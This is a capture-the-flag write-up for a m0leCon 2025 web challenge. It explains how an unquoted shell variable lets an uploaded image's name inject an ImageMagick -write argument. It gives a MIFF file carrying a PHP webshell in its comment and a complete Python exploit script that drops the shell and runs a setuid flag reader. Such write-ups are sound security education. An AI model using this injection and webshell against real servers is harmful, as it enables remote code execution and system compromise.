pwneglyph logo
web php imagemagick convert file-upload image-processing argument-injection shell-word-splitting arbitrary-write miff exiftool-bypass php-webshell suid-binary rce

Abuse an unquoted ImageMagick output argument in convert.sh to split a controlled filename into extra convert arguments. Use -write for an arbitrary web-root write, upload a MIFF image whose comment contains PHP, bypass exiftool's metadata cleanup, then execute /readflag through the dropped PHP webshell.

magik - ImageMagick -write arbitrary PHP drop via MIFF comment metadata

CTF: m0leCon CTF 2025 | Category: Web | Stack: PHP, ImageMagick, exiftool

Challenge overview

The app is almost only an image upload wrapper. If an image and a name are supplied, PHP calls a helper script and passes the uploaded temporary path plus the final output path:

$proc = proc_open(
    $cmd = [
        '/opt/convert.sh',
        $_FILES['img']['tmp_name'],
        $outputName = 'static/'.$_POST['name'].'.png'
    ],
    [],
    $pipes
);
echo $outputName;
proc_close($proc);

The container also ships a setuid /readflag helper:

int main() {
    setuid(0);
    system("cat /flag.txt");
    return 0;
}

So the goal is straightforward: get code execution as the web user, then run /readflag.

The bug is in the shell wrapper

proc_open uses the array form, so the controlled name is not shell-expanded by PHP. The vulnerable spot is later, inside convert.sh:

#!/bin/bash

set -x
convert $1 -resize 64x64 -background none -gravity center -extent 64x64 $2

find . -type f -exec exiftool -overwrite_original -all= {} + >/dev/null 2>&1 || true

Both $1 and $2 are unquoted. Since $2 is static/<name>.png, spaces inside name become new ImageMagick arguments when Bash expands the variable.

This is not command injection. A value like $(touch pwned) is only another convert argument because there is no second shell evaluation. But ImageMagick has dangerous arguments of its own, and -write writes the current image to an attacker-chosen path before continuing.

For example, with:

name = a -write shell.php a

the script effectively runs:

convert /tmp/phpXXXX \
  -resize 64x64 -background none -gravity center -extent 64x64 \
  static/a -write shell.php a.png

That gives an arbitrary write in the document root (/app/shell.php here), while the final a.png keeps convert happy.

Why a normal image payload fails

The cleanup step runs exiftool over the generated files and strips metadata:

find . -type f -exec exiftool -overwrite_original -all= {} + >/dev/null 2>&1 || true

The natural first idea is to upload a PNG/PHP polyglot, keep the PHP in a metadata field, then use -write to save it as .php. That gets cleaned: exiftool understands the usual image metadata and removes the PHP payload.

The bypass is to switch to MIFF (Magick Image File Format), ImageMagick's own format. ImageMagick parses it and preserves its comment, but the cleanup does not remove the comment the same way it does for normal image metadata. Since PHP executes code inside <?php ... ?> anywhere in the served .php file, a MIFF comment is enough.

Minimal payload:

id=ImageMagick
class=DirectClass
columns=1
rows=1
depth=8
matte=False
comment={<?php system($_GET['cmd']); ?>}
:
\xff\xff\xff

When this is written to shell.php, requesting it outputs the MIFF text as plain HTML and executes the embedded PHP tag in the comment line.

Exploit

The exploit only needs two requests: upload the MIFF through the -write argument injection, then hit the webshell with cmd=/readflag.

import requests

URL = "http://target/"

miff = b"id=ImageMagick\n"
miff += b"class=DirectClass\n"
miff += b"columns=1\n"
miff += b"rows=1\n"
miff += b"depth=8\n"
miff += b"matte=False\n"
miff += b"comment={<?php system($_GET['cmd']); ?>}\n"
miff += b":\n"
miff += b"\xff\xff\xff"

files = {"img": ("exploit.miff", miff)}
data = {"name": "a -write shell.php a"}

r = requests.post(URL + "index.php", files=files, data=data)
print(r.text)  # static/a -write shell.php a.png

flag_page = requests.get(URL + "shell.php?cmd=/readflag").text
flag = flag_page.split("comment={", 1)[1].split("\n", 1)[0][:-1]
print(flag)

The solve script in the working directory used the same primitive:

data = {'name': "a -write " + sys.argv[1] + " a"}
requests.post(TARGET, files={'img': f}, data=data)
requests.get(TARGET + sys.argv[1] + "?cmd=/readflag")

Flag recovered during the CTF:

ptm{n0t_s0_m4g1k}

Pitfalls

  • Shell metacharacters in name are a dead end: PHP's proc_open array form and the wrapper's simple unquoted expansion give argument injection, not arbitrary shell execution.
  • Extra words in the output path are treated as additional ImageMagick inputs/outputs/options. Use a real ImageMagick option such as -write instead of trying to execute Bash syntax.
  • PNG metadata PHP shells are stripped by the post-conversion exiftool -all= cleanup.
  • The webshell can be noisy because the served file is still a MIFF text file; parse the output around the comment={ line or just look for the flag in the response.

Takeaways (generalized technique)

  • Quoting matters inside wrapper scripts even if the caller safely passes argv. convert $2 turns one controlled argv value into many attacker-controlled arguments.
  • ImageMagick argument injection can be enough for exploitation without command execution: -write turns a filename injection into an arbitrary file write.
  • Metadata-stripping defenses are format-dependent. If a cleanup step targets common image formats, try a parser-native format such as MIFF that the image processor accepts but the sanitizer handles poorly.
  • PHP will execute <?php ... ?> tags embedded inside otherwise non-PHP text when the file is served as a .php script.

Sources & references

  • Challenge notes: /home/conflict/ctfs/m0lecon2025/web/notes
  • Challenge source: /home/conflict/ctfs/m0lecon2025/web/magik/attachments
  • Local solve scripts: /home/conflict/ctfs/m0lecon2025/web/magik/solve.py, craft_image.py